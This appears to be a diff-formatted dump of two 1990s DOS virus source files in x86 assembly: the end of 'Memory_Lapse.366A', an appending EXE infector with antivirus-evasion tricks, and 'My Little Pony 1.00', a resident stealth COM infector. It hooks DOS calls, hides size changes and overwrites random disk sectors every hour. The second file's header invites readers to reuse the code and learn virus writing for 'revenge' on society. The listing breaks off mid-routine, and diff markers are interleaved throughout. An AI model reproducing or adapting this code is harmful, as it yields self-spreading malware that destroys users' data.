;º The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving, º
|
||||
;º original attribute retaining, disk transfr area preserving, direct action º
|
||||
;º non-overwriting, appending, EXE infector. º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
.model tiny ;_ASSUME CS=DS=ES=SS
|
||||
.code ;/
|
||||
org 100h ;Origin @ 100h
|
||||
;
|
||||
start: ;Marks Start of Source
|
||||
v_start: ;Marks Start of Virus
|
||||
call $+003h ;Push IP onto Stack
|
||||
pop bp ;Restore IP into BP
|
||||
sub bp,103h ;Subtract for Delta
|
||||
;
|
||||
push es ;Save Segment onto Stack
|
||||
pop di ;Load DI w/DS
|
||||
add di,010h ;Locate Start of EXE
|
||||
|
||||
add di,cs:[bp+word ptr host_bytes+016h] ;Add CS to Start of EXE
|
||||
;
|
||||
push di cs:[bp+word ptr host_bytes+014h] ;Push CS & IP onto Stack
|
||||
push es ds cs ;Push Segments to Stack
|
||||
|
||||
sub ax,ax ;Load Register w/Zero
|
||||
push ax ax ;Push Registers to Stack
|
||||
pop es ds ;Load Segments w/Zero
|
||||
;
|
||||
mov si,021h*004h ;DS:[SI] > INT 21 Vector
|
||||
mov di,003h*004h ;ES:[DI] > INT 03 Vector
|
||||
;
|
||||
movsw ;DS:[SI] -> ES:[DI]
|
||||
movsw ;DS:[SI] -> ES:[DI]
|
||||
;
|
||||
pop ds ;Restore DS (CS=DS)
|
||||
;
|
||||
mov ah,030h ;AH=30h / GET DOS VERS'N
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
cmp al,003h ;Is it DOS 3.0?
|
||||
jb returntohost ;Jump if Below
|
||||
;
|
||||
mov ah,01Ah ;AH=1Ah / SET DTA
|
||||
lea dx,cs:[bp+DTA] ;DX=Location of DTA
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
mov [bp+byte ptr file_count],003h ;Memory Segment = 003h
|
||||
;
|
||||
findfirstEXEfile: ;
|
||||
mov ah,04Eh ;AH=4Eh / FINDFIRST
|
||||
mov cx,1FFh ;CX=Attribute Masking
|
||||
lea dx,cs:[bp+fileEXEspec] ;DX=File Search Type
|
||||
;
|
||||
twilightZONE: ;
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
jc doneEXEinfect ;Jump if Carry Set
|
||||
;
|
||||
jmp SHORT infectEXEfile ;Unconditional Jump
|
||||
;
|
||||
findnextEXEfile: ;
|
||||
cmp [bp+byte ptr file_count],000h ;Infected 3 Files?
|
||||
je doneEXEinfect ;Jump if Equal/Zero
|
||||
;
|
||||
mov ah,04Fh ;AH=4Fh / FINDNEXT
|
||||
;
|
||||
jmp SHORT twilightZONE ;Unconditional Jump
|
||||
;
|
||||
doneEXEinfect: ;
|
||||
mov ah,01Ah ;AH=1Ah / SET DTA
|
||||
mov dx,080h ;DX=080h / Start of CMD
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
returntohost: ;
|
||||
pop ds es ;Restore Segments
|
||||
;
|
||||
retf ;Return Far
|
||||
;
|
||||
virus_name db 'Memory_Lapse.366A (07/01/93)',000h
|
||||
db 'Copyright (c) 1993 Memory Lapse',000h
|
||||
;
|
||||
infectEXEfile: ;
|
||||
mov ax,3D00h ;AX=3D00h / OPEN
|
||||
lea dx,cs:[bp+DTA+01Eh] ;DX=ASCIIZ File Name
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
xchg bx,ax ;Exchange Register Value
|
||||
;
|
||||
push bx ;Save File Handle
|
||||
;
|
||||
mov ax,1220h ;AX=1220h /
|
||||
int 2Fh ;Multiplex Interrupt
|
||||
;
|
||||
mov bl,es:[di] ;
|
||||
;
|
||||
mov ax,1215h ;AX=1215h /
|
||||
inc ax ;AX=1216h /
|
||||
int 2Fh ;Multiplex Interrupt
|
||||
;
|
||||
pop bx ;Restore File Handle
|
||||
;
|
||||
mov es:[di+word ptr 002h],002h ;Open for Read / Write
|
||||
;
|
||||
mov ah,03Fh ;AH=3Fh / READ
|
||||
mov cx,018h ;CX=Number of Bytes
|
||||
lea dx,ds:[bp+host_bytes] ;DX=Buffer for Data
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
cmp ds:[bp+word ptr host_bytes+000h],'ZM' ;Are We A Valid EXE?
|
||||
jnz closeEXEfile ;Jump if Not Equal/Zero
|
||||
;
|
||||
cmp ds:[bp+word ptr host_bytes+012h],'LM' ;Are We Infected?
|
||||
jz closeEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
mov ax,4202h ;AX=4202h / LSEEK EOF
|
||||
sub cx,cx ;Load Register w/Zero
|
||||
cwd ;Load Register w/Zero
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
push dx ax ;Save Registers on Stack
|
||||
;
|
||||
mov ah,040h ;AH=40h / WRITE
|
||||
mov cx,(v_end-v_start) ;CX=Number of Bytes
|
||||
lea dx,cs:[bp+v_start] ;DX=Location of Data
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
mov ax,4202h ;AX=4202h / LSEEK EOF
|
||||
xor cx,cx ;Load Register w/Zero
|
||||
cwd ;Load Register w/Zero
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
mov cx,200h ;CX=Number to Divide By
|
||||
div cx ;Divide AX by CX
|
||||
;
|
||||
inc ax ;Increment AX
|
||||
;
|
||||
mov ds:[bp+word ptr host_bytes+004h],ax ;# of Pages in File
|
||||
mov ds:[bp+word ptr host_bytes+002h],dx ;# of Bytes @ Last Page
|
||||
;
|
||||
pop ax dx ;Restore Registers
|
||||
;
|
||||
mov cx,010h ;CX=Number to Divide By
|
||||
div cx ;Divide AX by CX
|
||||
;
|
||||
sub ax,ds:[bp+word ptr host_bytes+008h] ;Subtract Header Size
|
||||
;
|
||||
mov ds:[bp+word ptr host_bytes+016h],ax ;CS=Location of Virus
|
||||
mov ds:[bp+word ptr host_bytes+014h],dx ;IP=Start of Virus
|
||||
mov ds:[bp+word ptr host_bytes+012h],'LM' ;CRC=Infection Marker
|
||||
;
|
||||
mov es:[di+word ptr 015h],000h ;Move File Pointer to
|
||||
mov es:[di+word ptr 017h],000h ;Start of File Using SFT
|
||||
;
|
||||
mov ah,040h ;AH=40h / WRITE
|
||||
mov cx,018h ;CX=Number of Bytes
|
||||
lea dx,ds:[bp+host_bytes] ;DX=Location of Data
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
mov ax,5701h ;AX=5701h / SET T/D
|
||||
mov cx,cs:[bp+word ptr DTA+016h] ;CX=Original Time @ DTA
|
||||
mov dx,cs:[bp+word ptr DTA+018h] ;DX=Original Date @ DTA
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
dec [bp+byte ptr file_count] ;Decrement Counter
|
||||
;
|
||||
closeEXEfile: ;
|
||||
mov ah,03Eh ;AH=3Eh / CLOSE File
|
||||
int 003h ;DOS Services
|
||||
;
|
||||
jmp findnextEXEfile ;Unconditional Jump
|
||||
;
|
||||
host_bytes db 016h dup (000h) ;Buffer for Starting
|
||||
dw 0FFF0h ;of the EXE header.
|
||||
db 002h dup (000h) ;
|
||||
;
|
||||
;Get Rid of ThunderByte's "Searches for COM/EXE Files" Heuristic Flag
|
||||
;
|
||||
fileEXEspec db '*M.EXE',000h ;ASCIIZ File Specifics
|
||||
;
|
||||
v_end: ;Marks End of Virus
|
||||
;
|
||||
file_count db 001h dup (?) ;Buffer for Counter
|
||||
DTA db 02Ah dup (?) ;Buffer for DTA
|
||||
;
|
||||
end start ;Marks End of Source
|
||||
@@ -0,0 +1,749 @@
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
||||
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
|
||||
; My Little Pony 1.00 ;
|
||||
; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ;
|
||||
; - A.N.O.I - ;
|
||||
; ;
|
||||
; ;
|
||||
; I know that there is a much better documented source-code for this ;
|
||||
; virus. And I'm also very interessted to get in touch with the guy ;
|
||||
; who did that documentation. Please contact me. ;
|
||||
; ;
|
||||
; You may freely use this code as you want, just give me some of the ;
|
||||
; credits. Please learn to create virus, so we, together can get our ;
|
||||
; revenge to the soceity. Learn to feel the feeling being cruel! ;
|
||||
; ;
|
||||
; Of cource I can't take any responsibility for all virus-coders ;
|
||||
; who use any of the routines in this virus. ;
|
||||
; ;
|
||||
; ;
|
||||
; Greetings to; The Unforgiven for giving me AT&T's ;
|
||||
; Immortal Riot's members '94 ;
|
||||
; The man sitting in basement ;
|
||||
; ;
|
||||
; ps! Tasm /m3 and tlink /t to get this babe into executable!
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
||||
|
||||
start:
|
||||
call $+3
|
||||
sub_this: pop bp
|
||||
|
||||
mov ax,0dd22h ;are we already in memory?
|
||||
int 21h
|
||||
cmp ax,03d33h
|
||||
jne $+7
|
||||
lea dx,[bp+(cancel-sub_this)]
|
||||
jmp far ptr dx
|
||||
|
||||
mov ax,3521h ;get int 21h vect
|
||||
int 21h
|
||||
mov [bp+(int_21h_off-sub_this)],bx
|
||||
mov [bp+(int_21h_seg-sub_this)],es
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov ax,es:[0003h]
|
||||
sub ax,[bp+(memlen-sub_this)]
|
||||
mov es:[0003h],ax
|
||||
mov ax,[bp+(memlen-sub_this)]
|
||||
sub word ptr es:[0012h],ax
|
||||
mov es,es:[0012h]
|
||||
push es
|
||||
|
||||
lea si,[bp+(start-sub_this)]
|
||||
mov di,0100h
|
||||
mov cx,[bp+(filelen-sub_this)]
|
||||
rep movsb
|
||||
|
||||
pop ds ;es => ds
|
||||
mov ax,2521h ;new vector at ES:0100
|
||||
lea dx,new_int_21h
|
||||
int 21h
|
||||
cancel:
|
||||
push cs ;cs => ds => es
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea si,[bp+(first_bytes-sub_this)]
|
||||
mov cx,3
|
||||
mov di,100h
|
||||
rep movsb
|
||||
sub di,3
|
||||
jmp far ptr di
|
||||
|
||||
db 'Simple Simon met a pieman going to the fair said'
|
||||
db ' Simple Simon to the pieman let me take your ware'
|
||||
write_rnd_sector:
|
||||
cmp dh,0 ;sec
|
||||
jne back
|
||||
|
||||
cmp dl,5 ;100th
|
||||
ja back
|
||||
|
||||
|
||||
pushf ;fuck rnd sector
|
||||
push bx
|
||||
|
||||
call get_rnd
|
||||
mov cx,10 ;/ 10
|
||||
xor dx,dx
|
||||
div cx
|
||||
mov dx,ax ;dx=ax
|
||||
|
||||
mov al,2h ; Drive #, start with C:
|
||||
mov cx,1h ; # of sectors to overwrite
|
||||
lea bx,logo ; Address to overwriting DATA
|
||||
loopie:
|
||||
int 26h
|
||||
popf
|
||||
inc al
|
||||
cmp al,25
|
||||
jne loopie
|
||||
|
||||
|
||||
pop bx
|
||||
popf
|
||||
jmp back
|
||||
|
||||
db '(c)1993 Cruel Entity'
|
||||
|
||||
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
; New int 21h
|
||||
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
new_int_21h:
|
||||
pushf
|
||||
|
||||
cmp ax,0dd22h ;check if resident
|
||||
je mem_check
|
||||
|
||||
cmp ah,11h ;find 1st old
|
||||
je find_old
|
||||
cmp ah,12h ;find 1st old
|
||||
je find_old
|
||||
|
||||
cmp ah,4eh ;dos 2.x
|
||||
je find_
|
||||
cmp ah,4fh
|
||||
je find_
|
||||
|
||||
cmp ah,3dh ;open
|
||||
je open_
|
||||
|
||||
cmp ah,3eh ;close
|
||||
je close_
|
||||
|
||||
cmp ah,2ch
|
||||
je back2
|
||||
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
|
||||
cmp cl,00 ;a new hour?
|
||||
je write_rnd_sector
|
||||
back:
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
|
||||
back2:
|
||||
cmp ah,36h
|
||||
jne return_21h
|
||||
push bp
|
||||
lea bp,get_free_space
|
||||
jmp far ptr bp
|
||||
return_21h:
|
||||
popf
|
||||
|
||||
real_int_21h: db 0eah ;jmp...
|
||||
int_21h_off dw ? ;to old int 21h
|
||||
int_21h_seg dw ?
|
||||
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
find_:
|
||||
push bp
|
||||
lea bp,find_new
|
||||
jmp far ptr bp
|
||||
|
||||
open_:
|
||||
push bp
|
||||
lea bp,open
|
||||
jmp far ptr bp
|
||||
close_:
|
||||
push bp
|
||||
lea bp,close_file
|
||||
jmp far ptr bp
|
||||
|
||||
mem_check:
|
||||
popf
|
||||
mov ax,3d33h
|
||||
iret
|
||||
call_int21h:
|
||||
jmp dword ptr cs:int_21h_off ;force a call to DOS
|
||||
ret
|
||||
|
||||
find_old:
|
||||
popf
|
||||
|
||||
pushf ;find fcb
|
||||
push cs
|
||||
call call_int21h
|
||||
cmp al,0ffh
|
||||
je no_more_files
|
||||
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
mov ah,2fh ;get dta
|
||||
int 21h
|
||||
|
||||
push es ;es:bx
|
||||
pop ds ;ds:bx
|
||||
mov si,bx ;ds:si
|
||||
|
||||
add si,16 ;ext name
|
||||
lodsw
|
||||
cmp ax,'OC' ;.CO
|
||||
jne cancel_ff
|
||||
lodsb
|
||||
cmp al,'M' ;M
|
||||
jne cancel_ff
|
||||
ext_ok:
|
||||
;ext=com
|
||||
mov si,bx ;check size
|
||||
add si,26h
|
||||
lodsw
|
||||
cmp ax,0 ;=> 0ffffh?
|
||||
jne cancel_ff
|
||||
|
||||
mov si,bx ;check if already infected
|
||||
add si,30
|
||||
lodsw ;time
|
||||
and al,00011111b
|
||||
cmp al,00001010b
|
||||
je $+7 ;already infected (sec=24)
|
||||
lea dx,store_in_mem
|
||||
jmp far ptr dx
|
||||
|
||||
mov si,bx ;alter size
|
||||
add si,36
|
||||
mov di,si
|
||||
lodsw
|
||||
sub ax,cs:filelen
|
||||
jz cancel_ff
|
||||
stosw
|
||||
cancel_ff:
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
no_more_files: retf 2 ;iret flags
|
||||
|
||||
db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%"
|
||||
|
||||
store_in_mem: ;store filename in buffer
|
||||
mov si,bx
|
||||
add si,8
|
||||
|
||||
push cs ;cs => es
|
||||
pop es
|
||||
|
||||
mov cx,10
|
||||
lea di,file_buffer ;check pos
|
||||
check_pos:
|
||||
cmp byte ptr es:[di],20h
|
||||
je store
|
||||
add di,8
|
||||
loop check_pos
|
||||
jmp cancel_ff
|
||||
|
||||
store:
|
||||
mov cx,8
|
||||
rep movsb
|
||||
jmp cancel_ff
|
||||
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
get_free_space:
|
||||
pop bp
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
push cs ;cs=> ds=> es
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di,file_buffer
|
||||
mov cx,10
|
||||
check_last:
|
||||
cmp byte ptr [di],20h ;check if last
|
||||
je cancel_inf
|
||||
|
||||
push di
|
||||
push cx
|
||||
mov si,di ;si=file pos
|
||||
call infect
|
||||
pop cx
|
||||
pop di
|
||||
|
||||
add di,8
|
||||
loop check_last
|
||||
cancel_inf:
|
||||
push cs
|
||||
pop es
|
||||
lea di,file_buffer
|
||||
mov cx,80+12
|
||||
mov al,20h
|
||||
rep stosb
|
||||
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
jmp real_int_21h
|
||||
|
||||
infect:
|
||||
;convert filename to asciiz
|
||||
lea di,filename
|
||||
mov cx,8 ;filename NOT ext
|
||||
cpy_filename:
|
||||
lodsb
|
||||
cmp al,20h
|
||||
je filename_klar
|
||||
stosb
|
||||
loop cpy_filename
|
||||
filename_klar:
|
||||
mov al,'.'
|
||||
stosb
|
||||
mov al,'C'
|
||||
stosb
|
||||
mov al,'O'
|
||||
stosb
|
||||
mov al,'M'
|
||||
stosb
|
||||
mov al,0
|
||||
stosb
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,4300h ;get attrib
|
||||
lea dx,filename
|
||||
int 21h
|
||||
jnc $+3 ;error?
|
||||
ret
|
||||
|
||||
push cx ;save attrib
|
||||
|
||||
xor cx,cx
|
||||
mov ax,4301h ;force all attribs
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ;open filename
|
||||
lea dx,filename
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h
|
||||
mov bx,ax ;save handle
|
||||
|
||||
mov ax,5700h ;get time/date
|
||||
int 21h
|
||||
|
||||
push dx ;save time/date
|
||||
push cx
|
||||
|
||||
and cl,00011111b
|
||||
cmp cl,00001010b
|
||||
jne $+7 ;already infected (sec=24)
|
||||
lea dx,cancel_inf2
|
||||
jmp far ptr dx
|
||||
|
||||
|
||||
|
||||
mov ah,3fh ;read 3 first bytes
|
||||
mov cx,3
|
||||
lea dx,first_bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ;goto eof
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
sub ax,3 ;create a jmp
|
||||
mov jmp_2,ax
|
||||
|
||||
mov ah,40h ;write virus
|
||||
mov dx,100h
|
||||
mov cx,filelen
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ;goto beg
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write jmp
|
||||
mov cx,3
|
||||
lea dx,jmp_1
|
||||
int 21h
|
||||
cancel_inf2:
|
||||
pop cx ;restore time/date
|
||||
pop dx
|
||||
|
||||
and cl,11100000b ;secs=20
|
||||
or cl,00001010b
|
||||
mov ax,5701h ;set time/date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ;close
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h
|
||||
|
||||
mov ax,4301h ;set attrib
|
||||
lea dx,filename
|
||||
pop cx ;restore attrib
|
||||
int 21h
|
||||
|
||||
ret
|
||||
find_new:
|
||||
pop bp
|
||||
popf
|
||||
|
||||
pushf ;find 4e
|
||||
push cs
|
||||
call call_int21h
|
||||
jnc more_files
|
||||
retf 2
|
||||
more_files:
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
mov ah,2fh ;get dta
|
||||
int 21h
|
||||
|
||||
push es ;es:bx
|
||||
pop ds ;ds:bx
|
||||
|
||||
mov si,bx ;ds:si
|
||||
|
||||
push cs ;cs => es
|
||||
pop es
|
||||
|
||||
add si,1eh ;f name
|
||||
lea di,filename
|
||||
mov cx,25
|
||||
|
||||
get_fname:
|
||||
lodsb
|
||||
cmp al,0
|
||||
je get_f_klar
|
||||
stosb
|
||||
loop get_fname
|
||||
get_f_klar:
|
||||
mov al,0 ;asciiz
|
||||
stosb
|
||||
|
||||
push ds ;ds=> es
|
||||
pop es
|
||||
push cs ;cs=> ds
|
||||
pop ds
|
||||
mov si,di
|
||||
|
||||
sub si,4 ;'COM'
|
||||
lodsw ;CO
|
||||
|
||||
cmp ax,'OC'
|
||||
je check_m
|
||||
cmp ax,'oc'
|
||||
jne cancel_new
|
||||
check_m:
|
||||
lodsb
|
||||
cmp al,'m'
|
||||
je ext_is_com
|
||||
cmp al,'M'
|
||||
jne cancel_new
|
||||
|
||||
ext_is_com:
|
||||
push es ;es=> ds
|
||||
pop ds
|
||||
|
||||
mov si,bx
|
||||
add si,1ch ;check size
|
||||
lodsw
|
||||
cmp ax,0 ;=> 0ffffh
|
||||
jne cancel_new
|
||||
|
||||
mov si,bx
|
||||
add si,16h
|
||||
lodsw ;time
|
||||
and al,00011111b
|
||||
cmp al,00001010b
|
||||
jne cancel_new ;not infected
|
||||
|
||||
mov si,bx
|
||||
add si,1ah
|
||||
mov di,si
|
||||
lodsw ;alter size
|
||||
sub ax,cs:filelen
|
||||
jz cancel_new
|
||||
stosw
|
||||
|
||||
cancel_new:
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
no_more_files2: retf 2 ;iret flags
|
||||
open:
|
||||
pop bp
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
|
||||
|
||||
mov al,'.'
|
||||
push ds ;ds=> es
|
||||
pop es
|
||||
mov di,dx ;es:di filename
|
||||
|
||||
mov cx,50
|
||||
repnz scasb
|
||||
|
||||
mov si,di ;ds:si file ext.
|
||||
|
||||
lodsw
|
||||
cmp ax,'OC'
|
||||
je check_m2
|
||||
cmp ax,'oc'
|
||||
je $+7
|
||||
lea dx,cancel_open
|
||||
jmp far ptr dx
|
||||
check_m2:
|
||||
lodsb
|
||||
cmp al,'m'
|
||||
je ext_is_com2
|
||||
cmp al,'M'
|
||||
jne cancel_open
|
||||
|
||||
ext_is_com2:
|
||||
mov ax,3d02h ;open file
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h
|
||||
jc cancel_open
|
||||
mov bx,ax
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,5700h ;get time/date
|
||||
int 21h
|
||||
|
||||
and cl,00011111b ;already infected
|
||||
cmp cl,00001010b
|
||||
jne cancel_open
|
||||
|
||||
mov ax,4202h ;goto eof
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
push ax ;save size
|
||||
sub ax,3
|
||||
|
||||
mov dx,ax ;goto eof -3
|
||||
mov ax,4200h
|
||||
mov cx,0
|
||||
int 21h
|
||||
|
||||
mov ah,3fh ;read
|
||||
mov cx,3
|
||||
lea dx,temp_bytes
|
||||
int 21h
|
||||
|
||||
|
||||
mov ax,4200h ;goto beg
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write original
|
||||
mov cx,3
|
||||
lea dx,temp_bytes
|
||||
int 21h
|
||||
|
||||
pop dx
|
||||
sub dx,filelen
|
||||
|
||||
mov ax,4200h ;goto real size
|
||||
mov cx,0
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,0
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h
|
||||
cancel_open:
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
pushf ;open file...
|
||||
push cs
|
||||
call call_int21h
|
||||
retf 2
|
||||
|
||||
close_file:
|
||||
pop bp
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,1220h ;get handle table
|
||||
int 02Fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 02Fh
|
||||
|
||||
mov bp,di
|
||||
|
||||
add di,28h
|
||||
push es
|
||||
pop ds
|
||||
mov si,di
|
||||
lodsw
|
||||
cmp ax,'OC'
|
||||
jne cancel_open
|
||||
lodsb
|
||||
cmp al,'M'
|
||||
jne cancel_open
|
||||
|
||||
mov si,bp
|
||||
add si,20h
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call infect
|
||||
|
||||
jmp cancel_open
|
||||
|
||||
get_rnd:
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
in al,40h ;'@'
|
||||
add ax,0000
|
||||
mov dx,0000
|
||||
mov cx,0007
|
||||
rnd_init5: | ||||